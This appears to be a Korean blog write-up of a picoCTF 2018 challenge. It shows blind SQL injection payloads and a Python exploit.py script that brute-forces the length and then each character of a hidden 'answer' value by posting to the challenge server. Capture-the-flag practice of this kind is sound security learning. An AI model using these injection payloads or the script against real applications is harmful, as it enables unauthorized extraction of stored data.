이 문제는 blind injection 기법으로 answer의 값을 가져와 인증을 하면 되는 문제이다.
먼저 길이는 아래의 쿼리로 가져올 수 있다.
a' or length(answer)=5 -- -
코드를 작성하여 편하게 가져왔다.
import requests
import json
length = 0
url = 'http://2018shell3.picoctf.com:2644/answer2.php';
headers = {'User-Agent': 'Mozilla/5.0'}
for i in range(1, 50):
param = {'answer' : "a' or length(answer)=" + str(i) + " -- -", 'debug':0}
rs = requests.post(url, data=param ,headers=headers)
text = rs.text
print(str(i) + "start")
if("You are so close." in text):
length = i
break
print("find length=" + str(length))
그 후 answer의 값을 가져오는 방법은 아래의 쿼리로 가져올 수 있다.
a' or length(answer)=14 and Unicode(substr(answer, 1, 1))=41 -- -
이 역시 편하게 코드를 작성하여 처리했다.
exploit.py
import requests
import json
length = 0
url = 'http://2018shell3.picoctf.com:2644/answer2.php';
headers = {'User-Agent': 'Mozilla/5.0'}
for i in range(1, 50):
param = {'answer' : "a' or length(answer)=" + str(i) + " -- -", 'debug':0}
rs = requests.post(url, data=param ,headers=headers)
text = rs.text
print(str(i) + "start")
if("You are so close." in text):
length = i
break
print("find length=" + str(length))
flag = ""
for i in range(1, length+1):
print("start " + str(i))
for c in range(48,125):
param = {'answer' : "a' or length(answer)=14 and unicode(substr(answer," + str(i) + ",1))=" + str(c) + " -- - ", 'debug': 0}
rs = requests.post(url, data=param, headers=headers)
text = rs.text
if("Wrong." in text):
continue
else:
print("find " + chr(c))
flag += chr(c)
break
print(flag)
'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글
[picoCTF] assembly-0 (31) | 2018.10.18 |
---|---|
[picoCTF] admin panel (0) | 2018.10.18 |
[LOS1] umaru (0) | 2018.09.27 |
[LOS1] black_eyes (0) | 2018.09.27 |
[LOS1] iron_golem (0) | 2018.09.27 |